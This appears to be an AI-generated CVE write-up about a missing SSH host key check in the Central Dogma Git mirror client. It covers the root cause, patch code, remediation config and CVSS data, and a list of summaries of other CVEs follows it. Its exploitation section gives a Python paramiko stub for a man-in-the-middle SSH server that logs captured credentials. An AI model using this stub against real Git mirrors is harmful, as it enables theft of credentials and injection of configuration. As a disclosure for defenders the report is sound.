CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-11745

CVE-2026-11745: Host Key Verification Bypass in Central Dogma Git Mirror SSH Client

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 11, 2026·7 min read·26 visits

Executive Summary (TL;DR)

Central Dogma versions prior to 0.84.0 fail to verify SSH host keys during Git mirror processes. This vulnerability enables adjacent or on-path attackers to perform Man-in-the-Middle attacks, allowing them to exfiltrate configurations or introduce malicious commits.

An issue was identified in Central Dogma prior to version 0.84.0. The Git mirror SSH client does not verify remote host keys for git+ssh:// connections, which allows an on-path attacker to execute man-in-the-middle attacks and compromise mirrored repositories.

Vulnerability Overview

Central Dogma is an open-source, highly-available configuration repository based on Git, ZooKeeper, and HTTP/2. It serves as a centralized config management platform, pulling external application definitions via Git mirroring and distributing them to downstream microservices. Organizations rely on Central Dogma to securely store and dynamically sync sensitive parameters including access tokens, private database connection URIs, and API credentials.

The vulnerability is located within the centraldogma-server-mirror-git library, which handles synchronization with remote Git repositories over Git-over-SSH (git+ssh://). In affected versions, the custom Apache MINA SSHD SSH client implementation bypasses host key checks entirely. This exposes the outbound communication channel to intercept threats whenever Central Dogma triggers synchronization events.

The underlying security defect belongs to the Key Exchange without Entity Authentication class (CWE-322). Because Central Dogma trusts any server key presented during the SSH handshake, an on-path network attacker can successfully impersonate the target Git host. This architectural vulnerability compromises the transport layer security guarantee provided by SSH.

Root Cause Analysis

The root cause of this vulnerability lies in how the Git mirror SSH client initializes its session validation rules. During the cryptographic negotiation phase of the SSH connection, the remote server presents its public key. In standard SSH clients, this key is matched against a local registry of known and verified public keys, typically stored in the ~/.ssh/known_hosts file.

In Central Dogma versions prior to 0.84.0, the SshGitMirror client, defined inside the file server-mirror-git/src/main/java/com/linecorp/centraldogma/server/internal/mirror/SshGitMirror.java, overrides this default protection model. The client initialization code configures the Apache MINA SSHD builder to bypass filesystem-based host config files. It explicitly disables the parsing of local config files and restricts access to the standard host registry files.

Crucially, the implementation registers a custom ServerKeyVerifier lambda that unconditionally returns a boolean value of true. By doing so, the state engine of the SSH connection is directed to accept any host key presented during the key exchange. Because no secondary verification mechanism, such as a localized fingerprint lookup, was built into the client, the host identity verification flow is fully disabled.

Code-Level Analysis and Patch Walkthrough

To understand the implementation flaw, look at the vulnerable initialization method createSshClient() in SshGitMirror.java before version 0.84.0:

private SshClient createSshClient() {
    final ClientBuilder builder = ClientBuilder.builder();
    // Do not use local file system.
    builder.hostConfigEntryResolver(HostConfigEntryResolver.EMPTY);   // Line 146
    builder.fileSystemFactory(NoneFileSystemFactory.INSTANCE);        // Line 147
    // Do not verify the server key.
    builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> true);  // Line 149
    ...
}

In this vulnerable architecture, lines 146 and 147 eliminate local operating system configuration fallbacks. Line 149 registers the blind verification callback, which returns true for all sessions, regardless of the values of remoteAddress or serverKey.

The fix, introduced in commit c5371ab2c6535eb118f62a5251f23423d4edc528, replaces the blind trust lambda with an iterative verification sequence that validates against a pre-configured list of approved fingerprints:

// Retrieve acceptable fingerprints from the plugin configurations
final List<String> acceptedHostKeys = getAcceptedHostKeys();
builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> {
    // Extract the SHA-256 fingerprint of the presented key
    final String fingerprint = KeyUtils.getFingerPrint(BuiltinDigests.sha256, serverKey);
    for (String accepted : acceptedHostKeys) {
        if (fingerprint.equals(accepted)) {
            return true;
        }
    }
    if (!acceptedHostKeys.isEmpty() && warnedAddresses.add(remoteAddress)) {
        logger.warn("Host key verification failed for {} (fingerprint: {}).",
                    remoteAddress, fingerprint);
    }
    // If acceptedHostKeys is empty, fall back to true (Fail-Open Warning)
    return acceptedHostKeys.isEmpty();
});

While the patch implements a lookup validation loop, a residual vulnerability condition exists. If the administrator does not define a list of accepted host keys inside the mirroring service configuration, the code returns acceptedHostKeys.isEmpty(), which evaluates to true. This results in a fail-open execution model where unconfigured servers remain exposed to MITM exploits, accompanied only by a warning in the application logs.

Vulnerability Flow Visualization

The flow charts below compare the insecure default verification logic in affected versions against the cryptographic verification logic introduced in the patched versions.

Insecure Outbound Connection Flow (Pre-0.84.0)

Patched Fingerprint Check Flow (0.84.0+)

Exploitation Methodology

Exploitation of CVE-2026-11745 requires the adversary to occupy an on-path network position. This position is typically achieved via local network vector manipulation, such as DNS spoofing, ARP cache poisoning, BGP path manipulation, or container network interface (CNI) compromise within a Kubernetes cluster.

Once adjacent positioning is established, the attacker configures an automated listening script to intercept outbound TCP port 22 connections from the Central Dogma server. A sample exploit handler using Python's paramiko library can be constructed as follows:

import socket
import paramiko
 
# Generate a random local SSH host key to present to Central Dogma
HOST_KEY = paramiko.RSAKey.generate(2048)
 
class MitmSSHHandler(paramiko.ServerInterface):
    def check_auth_publickey(self, username, key):
        print(f"[+] Credential Captured - Username: {username}")
        print(f"[+] Key Material: {key.get_base64()}")
        return paramiko.AUTH_SUCCESSFUL
 
    def check_channel_request(self, kind, chanid):
        return paramiko.OPEN_SUCCEEDED if kind == 'session' else paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 
transport = paramiko.Transport(socket.socket())
transport.add_server_key(HOST_KEY)
transport.start_server(server=MitmSSHHandler())

When Central Dogma initiates its scheduled Git mirroring routine, the client attempts to establish a connection with the target domain. The connection is redirected to the attacker's listener due to the poisoned routing table. Because the validation layer returns true for any key, Central Dogma continues with the SSH negotiation and submits authentication credentials to the rogue listener. The adversary successfully extracts the authentication data or injects modified commits during the subsequent repository pull phase.

Impact Assessment

The operational impact of this vulnerability is critical. Central Dogma's role as a trusted distribution point for application secrets and parameters means that any compromise of its upstream Git mirrors propagates throughout the environment. An attacker who successfully establishes a Man-in-the-Middle position can gain unauthorized control over core operational metadata.

First, attackers can read the contents of the mirrored repositories, exposing highly sensitive deployment keys, proprietary algorithms, database configurations, and infrastructure blueprints. This constitutes a severe loss of system confidentiality (VC:H, SC:H).

Second, attackers can inject modified configurations directly into the Central Dogma service pipeline. Because downstream microservices dynamically monitor Central Dogma via watch APIs, these malicious updates are automatically consumed at runtime. An attacker can use this supply chain manipulation vector to reconfigure active applications, disable safety mechanisms, or redirect backend database connections to external rogue services, causing severe systemic compromise (VI:H, SI:H).

Remediation and Detection

To fully remediate CVE-2026-11745, system administrators must complete two distinct operations. Simply upgrading the binary package without configuring active fingerprints leaves the application in an insecure, fail-open state.

First, update the server dependencies to version 0.84.0 or higher within your dependency management configuration. This integrates the fingerprint comparison validation code:

// Gradle build definition
implementation("com.linecorp.centraldogma:centraldogma-server:0.84.0")

Second, explicitly populate the trustedHostKeys parameters in the server configuration file (dogma.json). This step disables the fail-open fallback behavior. Obtain the target fingerprint by querying your source repository host directly:

ssh-keyscan github.com 2>/dev/null | ssh-keygen -lf - -E sha256

Define the resulting fingerprints in the MirroringServicePluginConfig block:

{
  "pluginConfigs": [
    {
      "type": "com.linecorp.centraldogma.server.mirror.MirroringServicePluginConfig",
      "enabled": true,
      "trustedHostKeys": {
        "github.com": [
          "SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU",
          "SHA256:uNiVztksCsDhcc0u9e8BujQXVUpKZIDTMczCvj3tD2s"
        ]
      }
    }
  ]
}

Additionally, configure log monitoring pipelines to detect potential unconfigured instances. Set up alerts for the following log signature, which indicates that host verification is disabled:

No 'trustedHostKeys' configured in the mirroring service plugin config. SSH mirror connections will accept any host key without verification.

Fix Analysis (3)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:L
EPSS Probability
0.22%
Top 88% most exploited

Affected Systems

Central Dogma Servercentraldogma-server-mirror-git

Affected Versions Detail

Product
Affected Versions
Fixed Version
centraldogma-server-mirror-git
LY Corporation
< 0.84.00.84.0
AttributeDetail
CWE IDCWE-322
Attack VectorAdjacent Network
CVSS v4.0 Score8.8
EPSS Score0.00219
EPSS Percentile12.34%
Exploit Statuspoc
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1557.006Adversary-in-the-Middle: DHCP Spoofing / DNS Poisoning
Credential Access
T1195.002Supply Chain Compromise: Software Distribution
Initial Access
CWE-322
Key Exchange without Entity Authentication

The software performs a key exchange or cryptographic negotiation without verifying the identity of the other party, allowing an attacker to impersonate a legitimate entity.

Vulnerability Timeline

Vulnerability identified during codebase security review
2026-05-15
Proof-of-Concept verification completed successfully
2026-05-21
Official remediation patch merged and Central Dogma 0.84.0 released
2026-06-19
CVE-2026-11745 published on CVE.org and NVD
2026-06-22

References & Sources

  • [1]GitHub Security Advisory GHSA-vjfw-cpmh-xwv3
  • [2]NVD - CVE-2026-11745
  • [3]Central Dogma Setup & Mirroring Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
8 views•10 min read
•3 days ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
9 views•9 min read
•3 days ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
13 views•10 min read
•3 days ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
10 views•12 min read
•3 days ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•3 days ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
17 views•9 min read